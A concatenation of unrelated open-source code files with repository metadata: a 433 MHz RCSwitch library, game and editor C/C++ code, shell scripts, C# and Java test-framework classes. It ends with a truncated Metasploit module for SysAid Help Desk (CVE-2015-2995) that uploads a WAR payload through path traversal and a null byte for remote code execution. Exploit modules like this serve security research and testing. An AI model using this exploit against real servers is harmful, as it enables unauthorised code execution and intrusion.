* Decoding for the REV Switch Type * * Returns a char[13], representing the Tristate to be send. * A Code Word consists of 7 address bits and 5 command data bits. * A Code Bit can have 3 different states: "F" (floating), "0" (low), "1" (high) * * +-------------------------------+--------------------------------+-----------------------+ * | 4 bits address (switch group) | 3 bits address (device number) | 5 bits (command data) | * | A=1FFF B=F1FF C=FF1F D=FFF1 | 1=0FFF 2=F0FF 3=FF0F 4=FFF0 | on=00010 off=00001 | * +-------------------------------+--------------------------------+-----------------------+ * * Source: http://www.the-intruder.net/funksteckdosen-von-rev-uber-arduino-ansteuern/ * * @param sGroup Name of the switch group (A..D, resp. a..d) * @param nDevice Number of the switch itself (1..3) * @param bStatus Whether to switch on (true) or off (false) * * @return char[13] */ char* RCSwitch::getCodeWordD(char sGroup, int nDevice, boolean bStatus){ static char sReturn[13]; int nReturnPos = 0; // Building 4 bits address // (Potential problem if dec2binWcharfill not returning correct string) char *sGroupCode; switch(sGroup){ case 'a': case 'A': sGroupCode = dec2binWcharfill(8, 4, 'F'); break; case 'b': case 'B': sGroupCode = dec2binWcharfill(4, 4, 'F'); break; case 'c': case 'C': sGroupCode = dec2binWcharfill(2, 4, 'F'); break; case 'd': case 'D': sGroupCode = dec2binWcharfill(1, 4, 'F'); break; default: return '\0'; } for (int i = 0; i<4; i++) { sReturn[nReturnPos++] = sGroupCode[i]; } // Building 3 bits address // (Potential problem if dec2binWcharfill not returning correct string) char *sDevice; switch(nDevice) { case 1: sDevice = dec2binWcharfill(4, 3, 'F'); break; case 2: sDevice = dec2binWcharfill(2, 3, 'F'); break; case 3: sDevice = dec2binWcharfill(1, 3, 'F'); break; default: return '\0'; } for (int i = 0; i<3; i++) sReturn[nReturnPos++] = sDevice[i]; // fill up rest with zeros for (int i = 0; i<5; i++) sReturn[nReturnPos++] = '0'; // encode on or off if (bStatus) sReturn[10] = '1'; else sReturn[11] = '1'; // last position terminate string sReturn[12] = '\0'; return sReturn; } /** * @param sCodeWord /^[10FS]*$/ -> see getCodeWord */ void RCSwitch::sendTriState(const char* sCodeWord) { for (int nRepeat=0; nRepeat<nRepeatTransmit; nRepeat++) { int i = 0; while (sCodeWord[i] != '\0') { switch(sCodeWord[i]) { case '0': this->sendT0(); break; case 'F': this->sendTF(); break; case '1': this->sendT1(); break; } i++; } this->sendSync(); } } void RCSwitch::send(unsigned long code, unsigned int length) { this->send( this->dec2binWcharfill(code, length, '0') ); } void RCSwitch::send(const char* sCodeWord) { for (int nRepeat=0; nRepeat<nRepeatTransmit; nRepeat++) { int i = 0; while (sCodeWord[i] != '\0') { switch(sCodeWord[i]) { case '0': this->send0(); break; case '1': this->send1(); break; } i++; } this->sendSync(); } } void RCSwitch::transmit(int nHighPulses, int nLowPulses) { if (this->nTransmitterPin != -1) { #if not defined( RCSwitchDisableReceiving ) int nReceiverInterrupt_backup = nReceiverInterrupt; if (nReceiverInterrupt_backup != -1) { this->disableReceive(); } #endif digitalWrite(this->nTransmitterPin, HIGH); delayMicroseconds( this->protocol.pulseLength * nHighPulses); digitalWrite(this->nTransmitterPin, LOW); delayMicroseconds( this->protocol.pulseLength * nLowPulses); #if not defined( RCSwitchDisableReceiving ) if (nReceiverInterrupt_backup != -1) { this->enableReceive(nReceiverInterrupt_backup); } #endif } } void RCSwitch::transmit(HighLow pulses) { transmit(pulses.high, pulses.low); } /** * Sends a "0" Bit * _ * Waveform Protocol 1: | |___ * _ * Waveform Protocol 2: | |__ */ void RCSwitch::send0() { this->transmit(protocol.zero); } /** * Sends a "1" Bit * ___ * Waveform Protocol 1: | |_ * __ * Waveform Protocol 2: | |_ */ void RCSwitch::send1() { this->transmit(protocol.one); } /** * Sends a Tri-State "0" Bit * _ _ * Waveform: | |___| |___ */ void RCSwitch::sendT0() { this->send0(); this->send0(); } /** * Sends a Tri-State "1" Bit * ___ ___ * Waveform: | |_| |_ */ void RCSwitch::sendT1() { this->send1(); this->send1(); } /** * Sends a Tri-State "F" Bit * _ ___ * Waveform: | |___| |_ */ void RCSwitch::sendTF() { this->send0(); this->send1(); } /** * Sends a "Sync" Bit * _ * Waveform Protocol 1: | |_______________________________ * _ * Waveform Protocol 2: | |__________ */ void RCSwitch::sendSync() { this->transmit(protocol.syncFactor); } #if not defined( RCSwitchDisableReceiving ) /** * Enable receiving data */ void RCSwitch::enableReceive(int interrupt) { this->nReceiverInterrupt = interrupt; this->enableReceive(); } void RCSwitch::enableReceive() { if (this->nReceiverInterrupt != -1) { RCSwitch::nReceivedValue = 0; RCSwitch::nReceivedBitlength = 0; #if defined(RaspberryPi) // Raspberry Pi wiringPiISR(this->nReceiverInterrupt, INT_EDGE_BOTH, &handleInterrupt); #else // Arduino attachInterrupt(this->nReceiverInterrupt, handleInterrupt, CHANGE); #endif } } /** * Disable receiving data */ void RCSwitch::disableReceive() { #if not defined(RaspberryPi) // Arduino detachInterrupt(this->nReceiverInterrupt); #endif // For Raspberry Pi (wiringPi) you can't unregister the ISR this->nReceiverInterrupt = -1; } bool RCSwitch::available() { return RCSwitch::nReceivedValue != 0; } void RCSwitch::resetAvailable() { RCSwitch::nReceivedValue = 0; } unsigned long RCSwitch::getReceivedValue() { return RCSwitch::nReceivedValue; } unsigned int RCSwitch::getReceivedBitlength() { return RCSwitch::nReceivedBitlength; } unsigned int RCSwitch::getReceivedDelay() { return RCSwitch::nReceivedDelay; } unsigned int RCSwitch::getReceivedProtocol() { return RCSwitch::nReceivedProtocol; } unsigned int* RCSwitch::getReceivedRawdata() { return RCSwitch::timings; } /* helper function for the various receiveProtocol methods */ static inline unsigned int diff(int A, int B) { return abs(A - B); } /** * */ bool RCSwitch::receiveProtocol(const int p, unsigned int changeCount) { Protocol pro; memcpy_P(&pro, &proto[p-1], sizeof(Protocol)); unsigned long code = 0; const unsigned int delay = RCSwitch::timings[0] / pro.syncFactor.low; const unsigned int delayTolerance = delay * RCSwitch::nReceiveTolerance / 100; for (unsigned int i = 1; i < changeCount; i += 2) { code <<= 1; if (diff(RCSwitch::timings[i], delay * pro.zero.high) < delayTolerance && diff(RCSwitch::timings[i + 1], delay * pro.zero.low) < delayTolerance) { // zero } else if (diff(RCSwitch::timings[i], delay * pro.one.high) < delayTolerance && diff(RCSwitch::timings[i + 1], delay * pro.one.low) < delayTolerance) { // one code |= 1; } else { // Failed return false; } } if (changeCount > 6) { // ignore < 4bit values as there are no devices sending 4bit values => noise RCSwitch::nReceivedValue = code; RCSwitch::nReceivedBitlength = changeCount / 2; RCSwitch::nReceivedDelay = delay; RCSwitch::nReceivedProtocol = p; } return true; } void RCSwitch::handleInterrupt() { static unsigned int duration; static unsigned int changeCount; static unsigned long lastTime; static unsigned int repeatCount; long time = micros(); duration = time - lastTime; if (duration > RCSwitch::nSeparationLimit && diff(duration, RCSwitch::timings[0]) < 200) { repeatCount++; changeCount--; if (repeatCount == 2) { for(unsigned int i = 1; i <= numProto; i++ ) { if (receiveProtocol(i, changeCount)) { // receive succeeded for protocol i break; } } repeatCount = 0; } changeCount = 0; } else if (duration > RCSwitch::nSeparationLimit) { changeCount = 0; } if (changeCount >= RCSWITCH_MAX_CHANGES) { changeCount = 0; repeatCount = 0; } RCSwitch::timings[changeCount++] = duration; lastTime = time; } #endif /** * Turns a decimal value to its binary representation */ char* RCSwitch::dec2binWcharfill(unsigned long dec, unsigned int bitLength, char fill) { static char bin[32]; bin[bitLength] = '\0'; while (bitLength > 0) { bitLength--; bin[bitLength] = (dec & 1) ? '1' : fill; dec >>= 1; } return bin; }
mistert14/ardu-rasp1
lib2/TS/RCSwitch.cpp
C++
gpl-3.0
22,164
#! /bin/bash # [:VIM_EVAL:]expand('%:t')[:END_EVAL:] set -euo pipefail readonly PROGNAME=$(basename "$0") readonly PROGDIR=$(readlink -m "$(dirname "$0")") readonly ARGS=("$@") #readonly DIR=$(dirname "$(readlink -f "$0")") #if [ -e "${DIR}" ]; then # readonly WORK_DIR=$(mktemp -d -p "${DIR}") #fi #function interrupt { # echo "Removing temporary directory ${WORK_DIR}" # rm -rf "${WORK_DIR}" #} #trap interrupt INT SIGINT TERM SIGTERM EXIT
gotmanyacc/dotfiles
vim/templates/skel.sh
Shell
gpl-3.0
453
/* RPG Paper Maker Copyright (C) 2017-2021 Wano RPG Paper Maker engine is under proprietary license. This source code is also copyrighted. Use Commercial edition for commercial use of your games. See RPG Paper Maker EULA here: http://rpg-paper-maker.com/index.php/eula. */ #include "monstersdatas.h" #include "rpm.h" #include "common.h" #include "systemmonster.h" #include "lootkind.h" #include "systemloot.h" #include "systemmonsteraction.h" // ------------------------------------------------------- // // CONSTRUCTOR / DESTRUCTOR / GET / SET // // ------------------------------------------------------- MonstersDatas::MonstersDatas() { m_model = new QStandardItemModel; } MonstersDatas::~MonstersDatas() { SuperListItem::deleteModel(m_model); } void MonstersDatas::read(QString path){ RPM::readJSON(Common::pathCombine(path, RPM::PATH_MONSTERS), *this); } QStandardItemModel* MonstersDatas::model() const { return m_model; } // ------------------------------------------------------- // // INTERMEDIARY FUNCTIONS // // ------------------------------------------------------- void MonstersDatas::setDefault(QStandardItem* , QStandardItem* modelItems, QStandardItem* modelWeapons, QStandardItem* modelArmors) { SystemMonster* monster; SystemMonsterAction *action; QStandardItem* item; QList<QStandardItem *> row; QStandardItemModel* loots; QStandardItemModel* actions; SuperListItem* sys = nullptr; SystemLoot* loot; QString names[] = {RPM::translate(Translations::WOOLY)}; int classesIds[] = {5}; int battlersIds[] = {5}; int facesetsIds[] = {5}; int experiencesInitial[] = {5}; int experiencesFinal[] = {5000}; int experiencesEquation[] = {0}; QVector<int> currenciesIds[] = {QVector<int>({1})}; QVector<int> currenciesNb[] = {QVector<int>({1})}; QVector<LootKind> lootsKind[] = {QVector<LootKind>({LootKind::Item})}; QVector<int> lootsIds[] = {QVector<int>({1})}; QVector<int> lootsNb[] = { QVector<int>({1}) }; QVector<int> lootsProba[] = { QVector<int>({50}) }; QVector<int> lootsInit[] = { QVector<int>({1}) }; QVector<int> lootsFinal[] = { QVector<int>({100}) }; SystemProgressionTable *currenciesProgression[] = { new SystemProgressionTable(new PrimitiveValue(5), new PrimitiveValue( 1500), 0) }; int length = (sizeof(names)/sizeof(*names)); for (int i = 0; i < length; i++) { // Loots loots = new QStandardItemModel; for (int j = 0; j < lootsIds[i].size(); j++){ switch (lootsKind[i][j]){ case LootKind::Item: sys = SuperListItem::getById(modelItems, currenciesIds[i][j]); break; case LootKind::Weapon: sys = SuperListItem::getById(modelWeapons, currenciesIds[i][j]); break; case LootKind::Armor: sys = SuperListItem::getById(modelArmors, currenciesIds[i][j]); break; } loot = new SystemLoot(sys->id(), sys->name(), lootsKind[i][j], new PrimitiveValue(PrimitiveValueKind::DataBase, sys->id()), new PrimitiveValue(lootsNb[i][j]), new PrimitiveValue(lootsProba[i] [j]), new PrimitiveValue(lootsInit[i][j]), new PrimitiveValue( lootsFinal[i][j])); row = loot->getModelRow(); loots->appendRow(row); } item = new QStandardItem(); item->setText(SuperListItem::beginningText); loots->appendRow(item); // Actions actions = new QStandardItemModel; monster = new SystemMonster(i+1, names[i], classesIds[i], battlersIds[i], facesetsIds[i], SystemClass::createInheritanceClass(), new SystemProgressionTable(new PrimitiveValue(experiencesInitial[i]) , new PrimitiveValue(experiencesFinal[i]), experiencesEquation[i]), loots, actions); monster->insertCurrency(i + 1, currenciesProgression[i]); action = new SystemMonsterAction(-1, "", MonsterActionKind::UseSkill); action->setMonster(monster); actions->appendRow(action->getModelRow()); m_model->appendRow(monster->getModelRow()); } } // ------------------------------------------------------- // // READ / WRITE // // ------------------------------------------------------- void MonstersDatas::read(const QJsonObject &json){ // Clear SuperListItem::deleteModel(m_model, false); // Read QJsonArray jsonList = json["monsters"].toArray(); for (int i = 0; i < jsonList.size(); i++){ QStandardItem* item = new QStandardItem; SystemMonster* sysMonster = new SystemMonster; sysMonster->read(jsonList[i].toObject()); item->setData(QVariant::fromValue( reinterpret_cast<quintptr>(sysMonster))); item->setFlags(item->flags() ^ (Qt::ItemIsDropEnabled)); item->setText(sysMonster->toString()); m_model->appendRow(item); } } // ------------------------------------------------------- void MonstersDatas::write(QJsonObject &json) const{ QJsonArray jsonArray; for (int i = 0; i < m_model->invisibleRootItem()->rowCount(); i++){ QJsonObject jsonCommon; SystemMonster* sysMonster = reinterpret_cast<SystemMonster *>(m_model ->item(i)->data().value<quintptr>()); sysMonster->write(jsonCommon); jsonArray.append(jsonCommon); } json["monsters"] = jsonArray; }
Wano-k/RPG-Paper-Maker
Editor/Models/GameDatas/monstersdatas.cpp
C++
gpl-3.0
5,777
#!/bin/bash #FILE ipfs-add-my-hash.sh #DATE 2020-06-06 set -euxo pipefail HASH='ipfs/QmNm45RagXiktLp7C46rnFKsjGTNKatTRLfEM4BEKmeXsJ' GW_LIST='/tmp/ipfs-gw.list' OUTPUT='/tmp/ipfs-gw-hash.list' for gw in $(cat ${GW_LIST}); do URL="${gw}/${HASH}" echo "$URL" |tee -a $OUTPUT done exit
mdrights/Myscripts
os-opt/ipfs-add-my-hash.sh
Shell
gpl-3.0
297
/* Creates nice parts which come from explosions. Looks good ! */ #include <tank.h> #include <math.h> typedef struct partstr { struct partstr *next, *prev; long type, pic; float x, y, a, d; long v, count; long nsmoke; } partsstruct; typedef struct { long str_tnk; long str_wall; long numpart; long min_d, rand_d; long min_v, rand_v; long pic, rand_pic; long smokes; } partsproperties; static partsproperties pp[]={{0, 0, 10, 10, 40, 30, 60, 0, 1, FALSE}, {7, 10, 10, 50, 20, 30, 20, FLAME, 1, FALSE}, {0, 0, 20, 40, 30, 50, 60, 0, 1, FALSE}, {0, 0, 10, 50, 20, 30, 20, PARTS, 6, TRUE}}; static partsstruct *parts=NULL; long max_parts=1000; static void add_parts_to_list(partsstruct *p) { max_parts--; p->prev=NULL; p->next=parts; if (parts!=NULL) parts->prev=p; parts=p; } static void remove_parts_from_list(partsstruct *p) { max_parts++; if (p->prev!=NULL) { p->prev->next=p->next; if (p->next!=NULL) p->next->prev=p->prev; } else { parts=p->next; if (parts!=NULL) parts->prev=NULL; } } void clear_parts(void) { partsstruct *p; while(parts!=NULL) { max_parts++; p=parts, parts=parts->next; free(p); } } void create_parts(long type, long x, long y) { partsstruct *p; long i; for (i=0; i<pp[type].numpart; i++) if (max_parts>0) { p=allocate(sizeof(partsstruct)); p->type=type; p->x=x+rnd(10)-5; p->y=y+rnd(10)-5; p->a=2*PI*rnd(360)/360; p->v=pp[type].min_v+rnd(pp[type].rand_v); p->d=pp[type].min_d+rnd(pp[type].rand_d); p->pic=pp[type].pic+rnd(pp[type].rand_pic)*5; p->count=timer; p->nsmoke=pp[type].smokes? 30+rnd(30):tnever; add_parts_to_list(p); } } void control_parts(void) { long x, y, x2, y2; partsstruct *p, *np; for (p=parts; p!=NULL; p=np) { np=p->next, x=pround(p->x), y=pround(p->y); if (tdone(p->nsmoke)) { create_effect(x-16, y-16, 8, PARTS_SMOKE); p->nsmoke=tinit(20+rnd(20)); } p->d-=add_angle(&p->x, &p->y, p->v, p->a, &p->count); x2=pround(p->x), y2=pround(p->y); if ((pp[p->type].str_tnk!=0 && line_obj_hit_point(NULL, x, y, &x2, &y2, radtoa16(p->a), HT_PARTS_TNK, pp[p->type].str_tnk)) || (pp[p->type].str_wall!=0 && line_wall_hit_point(NULL, x, y, &x2, &y2, HT_PARTS_WALL, pp[p->type].str_wall)) || p->d<0) { remove_parts_from_list(p); free(p); } } } void write_parts(void) { partsstruct *p; long x, y; for (p=parts; p!=NULL; p=p->next) { x=pround(p->x)-ssx, y=pround(p->y)-ssy; switch(p->type) { case PT_PIXEL: case PT_MORTAR: b_pixel(x, y, 0); break; default: b_add_layer(x-16, y-16, eff[p->pic+4-(long)(p->d*5/(pp[p->type].min_d+pp[p->type].rand_d))].ptr); break; } } }
jrouwe/TankArena
src/world/parts.c
C
gpl-3.0
2,798
using System; namespace JavCrawl.Models.DbEntity { public partial class Servers { public int Id { get; set; } public DateTime? CreatedAt { get; set; } public string Data { get; set; } public sbyte? Default { get; set; } public DateTime? DeletedAt { get; set; } public string Description { get; set; } public sbyte? Status { get; set; } public string Title { get; set; } public string TitleAscii { get; set; } public string Type { get; set; } public DateTime? UpdatedAt { get; set; } } }
vibollmc/7816df50764af41dac934f89a19d804c
JavCrawl/JavCrawl/Models/DbEntity/Servers.cs
C#
gpl-3.0
591
/******************************************************************************* * xFramium * * Copyright 2016 by Moreland Labs, Ltd. (http://www.morelandlabs.com) * * Some open source application is free software: you can redistribute * it and/or modify it under the terms of the GNU General Public * License as published by the Free Software Foundation, either * version 3 of the License, or (at your option) any later version. * * Some open source application is distributed in the hope that it will * be useful, but WITHOUT ANY WARRANTY; without even the implied warranty * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with xFramium. If not, see <http://www.gnu.org/licenses/>. * * @license GPL-3.0+ <http://spdx.org/licenses/GPL-3.0+> *******************************************************************************/ package org.xframium.page.keyWord; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import java.util.Map; import org.apache.commons.logging.Log; import org.apache.commons.logging.LogFactory; import org.openqa.selenium.WebDriver; import org.xframium.container.SuiteContainer; import org.xframium.device.cloud.CloudDescriptor; import org.xframium.device.factory.DeviceWebDriver; import org.xframium.exception.FlowException; import org.xframium.exception.ObjectConfigurationException; import org.xframium.page.Page; import org.xframium.page.PageManager; import org.xframium.page.StepStatus; import org.xframium.page.data.PageData; import org.xframium.page.keyWord.KeyWordDriver.TRACE; import org.xframium.page.keyWord.step.SyntheticStep; import org.xframium.reporting.ExecutionContextTest; import org.xframium.spi.Device; // TODO: Auto-generated Javadoc /** * The Class KeyWordTest. */ public class KeyWordTest { /** The log. */ private Log log = LogFactory.getLog( KeyWordTest.class ); /** The name. */ private String name; /** The active. */ private boolean active; /** The data providers. */ private String[] dataProviders; /** The data driver. */ private String dataDriver; /** The timed. */ private boolean timed; /** The link id. */ private String linkId; /** The os. */ private String os; /** The description. */ private String description; /** The threshold. */ private int threshold; /** The test tags. */ private String[] testTags; /** The content keys */ private String[] contentKeys; private String[] deviceTags; private String inputPage; private String outputPage; private String[] operationList; private String mode = "function"; private int priority; private int severity; private String reliesOn = null; private TRACE trace = TRACE.OFF; private List<KeyWordParameter> expectedParameters = new ArrayList<KeyWordParameter>( 5 ); private int count; /** The step list. */ private List<KeyWordStep> stepList = new ArrayList<KeyWordStep>( 10 ); public TRACE getTrace() { return trace; } public void setTrace(TRACE trace) { this.trace = trace; } public String getReliesOn() { return reliesOn; } public void setReliesOn( String reliesOn ) { this.reliesOn = reliesOn; } public int getPriority() { return priority; } public void setPriority( int priority ) { this.priority = priority; } public int getSeverity() { return severity; } public void setSeverity( int severity ) { this.severity = severity; } /** * Instantiates a new key word test. * * @param name * the name * @param active * the active * @param dataProviders * the data providers * @param dataDriver * the data driver * @param timed * the timed * @param linkId * the link id * @param os * the os * @param threshold * the threshold * @param description * the description * @param testTags * the test tags * @param contentKeys * the content keys */ public KeyWordTest( String name, boolean active, String dataProviders, String dataDriver, boolean timed, String linkId, String os, int threshold, String description, String testTags, String contentKeys, String deviceTags, Map<String,String> overrideMap, int count, String inputPage, String outputPages, String mode, String operationList, int priority, int severity, String trace ) { this.name = name; this.active = Boolean.parseBoolean( getValue( name, "active", active + "", overrideMap ) ); String dP = getValue( name, "dataProvider", dataProviders, overrideMap ); if ( dP != null ) this.dataProviders = dP.split( "," ); this.dataDriver = getValue( name, "dataDriver", dataDriver, overrideMap ); this.timed = Boolean.parseBoolean( getValue( name, "timed", timed + "", overrideMap ) ); this.linkId = getValue( name, "linkId", linkId, overrideMap ); this.os = getValue( name, "os", os, overrideMap ); if ( threshold > 0 ) { String thresholdModifier = overrideMap.get( "thresholdModifier" ); if ( thresholdModifier != null ) { double modifierPercent = ( Integer.parseInt( thresholdModifier ) / 100.0 ); double modifierValue = Math.abs( modifierPercent ) * (double) threshold; if ( modifierPercent > 0 ) this.threshold = threshold + (int)modifierValue; else this.threshold = threshold - (int)modifierValue; } } else this.threshold = threshold; this.description = getValue( name, "description", description, overrideMap ); String value = getValue( name, "testTags", testTags, overrideMap ); if ( value != null ) this.testTags = value.split( "," ); else this.testTags = new String[] { "" }; value = getValue( name, "contentKeys", contentKeys, overrideMap ); if ( value != null ) this.contentKeys = value.split( "\\|" ); else this.contentKeys = new String[] { "" }; value = getValue( name, "deviceTags", deviceTags, overrideMap ); if ( value != null && !value.trim().isEmpty() ) this.deviceTags = value.split( "," ); this.count = Integer.parseInt( getValue( name, "count", count + "", overrideMap ) ); setMode( mode ); setInputPage( inputPage ); setOutputPage( outputPages ); setOperationList( operationList ); this.priority = priority; this.severity = severity; if ( trace != null ) this.trace = TRACE.valueOf( trace ); } public List<KeyWordParameter> getExpectedParameters() { return expectedParameters; } public void setExpectedParameters( List<KeyWordParameter> expectedParameters ) { this.expectedParameters = expectedParameters; } public String getInputPage() { return inputPage; } public void setInputPage( String inputPage ) { this.inputPage = inputPage; } public String getOutputPage() { return outputPage; } public void setOutputPage( String outputPage ) { this.outputPage = outputPage; } public String[] getOperationList() { return operationList; } public void setOperationList( String[] operationList ) { this.operationList = operationList; } public void setOperationList( String operationList ) { if ( operationList != null && !operationList.trim().isEmpty() ) this.operationList = operationList.split( "," ); } public String getMode() { return mode; } public void setMode( String mode ) { this.mode = mode; } private String getValue( String testName, String attributeName, String attributeValue, Map<String,String> overrideMap ) { String keyName = testName + "." + attributeName; if ( System.getProperty( keyName ) != null ) return System.getProperty( keyName ); if ( overrideMap != null && overrideMap.containsKey( keyName ) ) return overrideMap.get( keyName ); else return attributeValue; } public int getCount() { return count; } public void setCount( int count ) { this.count = count; } public String[] getDeviceTags() { return deviceTags; } /** * Gets the data driver. * * @return the data driver */ public String getDataDriver() { return dataDriver; } public String getDescription() { return description; } public String[] getTestTags() { return testTags; } /** * Adds the step. * * @param step * the step */ public void addStep( KeyWordStep step ) { if ( log.isDebugEnabled() ) log.debug( "Adding Step [" + step.getName() + "] to [" + name + "]" ); if ( step.isStartAt() ) { log.warn( "Clearing steps out of " + getName() + " as the startAt flag was set" ); for ( KeyWordStep kS : stepList ) kS.setActive( false ); } stepList.add( step ); } /** * Get step at offset. * * @param step * the step */ public KeyWordStep getStepAt( int offset ) { return (KeyWordStep) stepList.get( offset ); } /** * Gets the data providers. * * @return the data providers */ public String[] getDataProviders() { return dataProviders; } /** * Gets the data providers. * * @return the data providers */ public String getDataProvidersAsString() { StringBuilder sBuilder = new StringBuilder(); sBuilder.append( " [" ); for ( String provider : dataProviders ) sBuilder.append( provider ).append( ", " ); sBuilder.append( "]" ); return sBuilder.toString(); } @Override public String toString() { return "KeyWordTest [name=" + name + ", active=" + active + ", dataProviders=" + Arrays.toString( dataProviders ) + ", dataDriver=" + dataDriver + ", timed=" + timed + ", linkId=" + linkId + ", os=" + os + ", description=" + description + ", threshold=" + threshold + ", testTags=" + Arrays.toString( testTags ) + ", contentKeys=" + Arrays.toString( contentKeys ) + ", deviceTags=" + Arrays.toString( deviceTags ) + "]"; } /** * Gets the name. * * @return the name */ public String getName() { return name; } /** * Sets the name. * * @param name * the new name */ public void setName( String name ) { this.name = name; } /** * Checks if is active. * * @return true, if is active */ public boolean isActive() { return active; } /** * Checks if is timed. * * @return true, if is timed */ public boolean isTimed() { return timed; } /** * Execute test. * * @param webDriver * the web driver * @param contextMap * the context map * @param dataMap * the data map * @param pageMap * the page map * @return true, if successful * @throws Exception * the exception */ public boolean executeTest( WebDriver webDriver, Map<String, Object> contextMap, Map<String, PageData> dataMap, Map<String, Page> pageMap, SuiteContainer sC, ExecutionContextTest executionContext ) throws Exception { boolean stepSuccess = true; if ( log.isInfoEnabled() ) log.info( "*** Executing Test " + name + (linkId != null ? " linked to " + linkId : "") ); long startTime = System.currentTimeMillis(); String executionId = PageManager.instance(( (DeviceWebDriver) webDriver ).getxFID()).getExecutionId( webDriver ); String deviceName = PageManager.instance(( (DeviceWebDriver) webDriver ).getxFID()).getDeviceName( webDriver ); for ( KeyWordStep step : stepList ) { if ( !step.isActive() ) continue; if ( log.isDebugEnabled() ) log.debug( "Executing Step [" + step.getName() + "]" ); Page page = null; String siteName = step.getSiteName(); if ( siteName == null || siteName.isEmpty() ) { if ( sC != null ) siteName = sC.getSiteName(); else siteName = PageManager.instance(( (DeviceWebDriver) webDriver ).getxFID()).getSiteName(); } if ( step.getPageName() != null ) { page = pageMap.get( siteName + "." + step.getPageName() ); if ( page == null ) { if ( log.isInfoEnabled() ) log.info( "Creating Page [" + siteName + "." + step.getPageName() + "]" ); page = PageManager.instance(( (DeviceWebDriver) webDriver ).getxFID()).createPage( KeyWordDriver.instance( ( (DeviceWebDriver) webDriver ).getxFID() ).getPage(step.getSiteName() != null && step.getSiteName().trim().length() > 0 ? step.getSiteName() : PageManager.instance(( (DeviceWebDriver) webDriver ).getxFID()).getSiteName(), step.getPageName() ), webDriver ); if ( page == null ) { executionContext.startStep( new SyntheticStep( step.getPageName(), "PAGE" ), contextMap, dataMap ); executionContext.completeStep( StepStatus.FAILURE, new ObjectConfigurationException( step.getSiteName() == null ? PageManager.instance(( (DeviceWebDriver) webDriver ).getxFID()).getSiteName() : step.getSiteName(), step.getPageName(), null ), null ); stepSuccess = false; return false; } pageMap.put( siteName + "." + step.getPageName(), page ); } } try { stepSuccess = step.executeStep( page, webDriver, contextMap, dataMap, pageMap, sC, executionContext ); } catch ( FlowException lb ) { throw lb; } if ( !stepSuccess ) { if ( log.isWarnEnabled() ) log.warn( "***** Step [" + step.getName() + "] Failed" ); if ( timed ) PageManager.instance(( (DeviceWebDriver) webDriver ).getxFID()).addExecutionTiming( executionId, deviceName, getName(), System.currentTimeMillis() - startTime, StepStatus.FAILURE, description, threshold ); stepSuccess = false; return false; } } if ( timed ) PageManager.instance(( (DeviceWebDriver) webDriver ).getxFID()).addExecutionTiming( executionId, deviceName, getName(), System.currentTimeMillis() - startTime, StepStatus.SUCCESS, description, threshold ); return stepSuccess; } /** * Gets the os. * * @return the os */ public String getOs() { return os; } /** * Sets the os. * * @param os * the new os */ public void setOs( String os ) { this.os = os; } /** * Checks if is tagged. * * @param tagName * the tag name * @return true, if is tagged */ public boolean isTagged( String tagName ) { if ( testTags == null ) return false; for ( String testTag : testTags ) { if ( tagName.equalsIgnoreCase( testTag ) ) return true; } return false; } public boolean isDeviceTagged( String tagName ) { if ( deviceTags == null || deviceTags.length <= 0 ) return false; for ( String testTag : deviceTags ) { if ( tagName.equalsIgnoreCase( testTag ) ) return true; } return false; } /** * Gets the tags. * * @return the tags */ public String[] getTags() { if ( testTags == null ) return new String[] { "" }; else return testTags; } /** * Gets the content keys. * * @return the content keys */ public String[] getContentKeys() { return contentKeys; } public String getLinkId() { return linkId; } public void setLinkId(String linkId) { this.linkId = linkId; } }
xframium/xframium-java
framework/src/org/xframium/page/keyWord/KeyWordTest.java
Java
gpl-3.0
18,458
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'zlib' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => "SysAid Help Desk 'rdslogs' Arbitrary File Upload", 'Description' => %q{ This module exploits a file upload vulnerability in SysAid Help Desk v14.3 and v14.4. The vulnerability exists in the RdsLogsEntry servlet which accepts unauthenticated file uploads and handles zip file contents in a insecure way. By combining both weaknesses, a remote attacker can accomplish remote code execution. Note that this will only work if the target is running Java 6 or 7 up to 7u25, as Java 7u40 and above introduces a protection against null byte injection in file names. This module has been tested successfully on version v14.3.12 b22 and v14.4.32 b25 in Linux. In theory this module also works on Windows, but SysAid seems to bundle Java 7u40 and above with the Windows package which prevents the vulnerability from being exploited. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2015-2995' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], [ 'URL', 'http://seclists.org/fulldisclosure/2015/Jun/8' ] ], 'DefaultOptions' => { 'WfsDelay' => 30 }, 'Privileged' => false, 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'SysAid Help Desk v14.3 - 14.4 / Java Universal', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 3 2015')) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Base path to the SysAid application', '/sysaid/']) ], self.class) end def check servlet_path = 'rdslogs' bogus_file = rand_text_alphanumeric(4 + rand(32 - 4)) res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], servlet_path), 'method' => 'POST', 'vars_get' => { 'rdsName' => bogus_file } }) if res && res.code == 200 return Exploit::CheckCode::Detected end Exploit::CheckCode::Unknown end def send_payload(war_payload, tomcat_path, app_base) # We have to use the Zlib deflate routine as the Metasploit Zip API seems to fail print_status("#{peer} - Uploading WAR file...") res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], 'rdslogs'), 'method' => 'POST', 'data' => Zlib::Deflate.deflate(war_payload), 'ctype' => 'application/octet-stream', 'vars_get' => { 'rdsName' => "../../../../#{tomcat_path}#{app_base}.war\x00" } }) # The server either returns a 200 OK when the upload is successful. if res && res.code == 200 print_status("#{peer} - Upload appears to have been successful, waiting for deployment") else fail_with(Failure::Unknown, "#{peer} - WAR upload failed") end end def exploit # We need to create the upload directories before our first attempt to upload the WAR. print_status("#{peer} - Creating upload directory") bogus_file = rand_text_alphanumeric(4 + rand(32 - 4)) send_request_cgi({ 'uri' => 